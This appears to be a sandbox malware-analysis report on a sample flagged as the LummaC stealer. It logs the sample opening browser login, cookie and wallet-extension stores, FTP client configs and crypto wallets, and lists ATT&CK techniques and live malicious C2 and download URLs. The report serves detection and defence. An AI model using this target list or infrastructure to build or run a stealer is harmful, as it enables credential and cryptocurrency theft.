Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ERWQDBYZVW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ERWQDBYZVW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000005.00000003.1417685938.000000000129D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1418247910.000000000129E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7160, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7160, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	35 Virtualization/Sandbox Evasion	2 OS Credential Dumping	761 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	35 Virtualization/Sandbox Evasion	Remote Desktop Protocol	31 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	21 File and Directory Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://frogmen-smell.sbs///	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs/uA	100%	Avira URL Cloud	malware
http://185.215.113.16/W	100%	Avira URL Cloud	phishing
https://frogmen-smell.sbs/apiG	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs/=	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs/apiH	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs/o	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs/eA%h:	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs/mA-h;	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs/.	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs:443/apit9	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exe%	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
frogmen-smell.sbs	172.67.174.133	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.186.132	true	false	high
s-part-0039.t-0009.t-msedge.net	13.107.246.67	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
thicktoys.sbs	false	high
faintbl0w.sbs	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
3xc1aimbl0w.sbs	false	high
https://frogmen-smell.sbs/api	false	high
300snails.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_117.13.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000005.00000003.1411593120.00000000057CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1409263859.00000000057CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1417598049.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1406496763.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1406045748.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000005.00000003.1353424254.00000000057F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000005.00000003.1353424254.00000000057F9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/W	file.exe, 00000005.00000003.1549096475.0000000001221000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_117.13.dr	false		high
http://185.215.113.16/off/def.exeP	file.exe, 00000005.00000002.1662911967.0000000000E6A000.00000004.00000010.00020000.00000000.sdmp	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_108.13.dr, chromecache_97.13.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000005.00000003.1353424254.00000000057F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://frogmen-smell.sbs/o	file.exe, 00000005.00000003.1418344318.000000000128E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/Youssef1313	chromecache_117.13.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_108.13.dr, chromecache_97.13.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_108.13.dr, chromecache_97.13.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_97.13.dr	false		high
https://frogmen-smell.sbs///	file.exe, 00000005.00000003.1548900914.000000000128E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1570277231.000000000128E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000002.1663062974.000000000128E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://polymer.github.io/AUTHORS.txt	chromecache_108.13.dr, chromecache_97.13.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_117.13.dr	false		high
https://frogmen-smell.sbs/uA	file.exe, 00000005.00000003.1444788803.00000000012A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_108.13.dr, chromecache_97.13.dr	false		high
https://frogmen-smell.sbs/=	file.exe, 00000005.00000003.1390977810.00000000057C2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1391651400.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_117.13.dr	false		high
https://frogmen-smell.sbs/apiG	file.exe, 00000005.00000003.1369969164.00000000057C4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1376625620.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1378514838.00000000057D0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	file.exe, 00000005.00000003.1391860648.00000000057E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000005.00000003.1391860648.00000000057E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_108.13.dr, chromecache_97.13.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_117.13.dr, chromecache_118.13.dr, chromecache_80.13.dr	false		high
https://frogmen-smell.sbs/apiH	file.exe, 00000005.00000003.1444910692.00000000057BF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000005.00000003.1353424254.00000000057F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_108.13.dr, chromecache_97.13.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_108.13.dr, chromecache_97.13.dr	false		high
https://github.com/gewarren	chromecache_117.13.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000005.00000003.1393186831.00000000058D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_108.13.dr, chromecache_97.13.dr	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_117.13.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_117.13.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_108.13.dr, chromecache_97.13.dr	false		high
